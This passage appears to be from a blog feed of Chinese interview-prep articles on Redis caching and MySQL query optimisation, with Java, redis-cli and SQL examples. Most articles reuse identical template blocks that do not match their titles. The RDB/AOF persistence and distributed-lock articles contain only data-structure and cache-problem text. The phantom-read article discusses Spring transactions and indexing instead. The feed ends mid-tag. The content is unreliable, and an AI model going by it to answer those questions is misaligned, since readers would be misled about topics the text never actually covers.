        <content type="html"><![CDATA[<h1 id="面试：Redis-持久化-RDB-和-AOF-怎么选"><a href="#面试：Redis-持久化-RDB-和-AOF-怎么选" class="headerlink" title="面试：Redis 持久化 RDB 和 AOF 怎么选"></a>面试：Redis 持久化 RDB 和 AOF 怎么选</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Redis 分布式锁的正确姿势</title>
      <link href="//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/"/>
      <url>//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Redis-分布式锁的正确姿势"><a href="#面试：Redis-分布式锁的正确姿势" class="headerlink" title="面试：Redis 分布式锁的正确姿势"></a>面试：Redis 分布式锁的正确姿势</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：缓存穿透击穿雪崩怎么处理</title>
      <link href="//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/"/>
      <url>//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：缓存穿透击穿雪崩怎么处理"><a href="#面试：缓存穿透击穿雪崩怎么处理" class="headerlink" title="面试：缓存穿透击穿雪崩怎么处理"></a>面试：缓存穿透击穿雪崩怎么处理</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Redis 常见数据结构和使用场景</title>
      <link href="//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/"/>
      <url>//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Redis-常见数据结构和使用场景"><a href="#面试：Redis-常见数据结构和使用场景" class="headerlink" title="面试：Redis 常见数据结构和使用场景"></a>面试：Redis 常见数据结构和使用场景</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：数据库字段类型如何贴近业务</title>
      <link href="//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/"/>
      <url>//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：数据库字段类型如何贴近业务"><a href="#面试：数据库字段类型如何贴近业务" class="headerlink" title="面试：数据库字段类型如何贴近业务"></a>面试：数据库字段类型如何贴近业务</h1><p>字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：分页查询性能问题和游标分页</title>
      <link href="//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/"/>
      <url>//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：分页查询性能问题和游标分页"><a href="#面试：分页查询性能问题和游标分页" class="headerlink" title="面试：分页查询性能问题和游标分页"></a>面试：分页查询性能问题和游标分页</h1><p>分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：慢 SQL 排查和优化完整流程</title>
      <link href="//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/"/>
      <url>//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：慢-SQL-排查和优化完整流程"><a href="#面试：慢-SQL-排查和优化完整流程" class="headerlink" title="面试：慢 SQL 排查和优化完整流程"></a>面试：慢 SQL 排查和优化完整流程</h1><p>面试：慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：MySQL 事务隔离级别和幻读问题</title>
      <link href="//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/"/>
      <url>//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：MySQL-事务隔离级别和幻读问题"><a href="#面试：MySQL-事务隔离级别和幻读问题" class="headerlink" title="面试：MySQL 事务隔离级别和幻读问题"></a>面试：MySQL 事务隔离级别和幻读问题</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：EXPLAIN 执行计划应该看哪些字段</title>
      <link href="//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/"/>
      <url>//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：EXPLAIN-执行计划应该看哪些字段"><a href="#面试：EXPLAIN-执行计划应该看哪些字段" class="headerlink" title="面试：EXPLAIN 执行计划应该看哪些字段"></a>面试：EXPLAIN 执行计划应该看哪些字段</h1><p>EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span 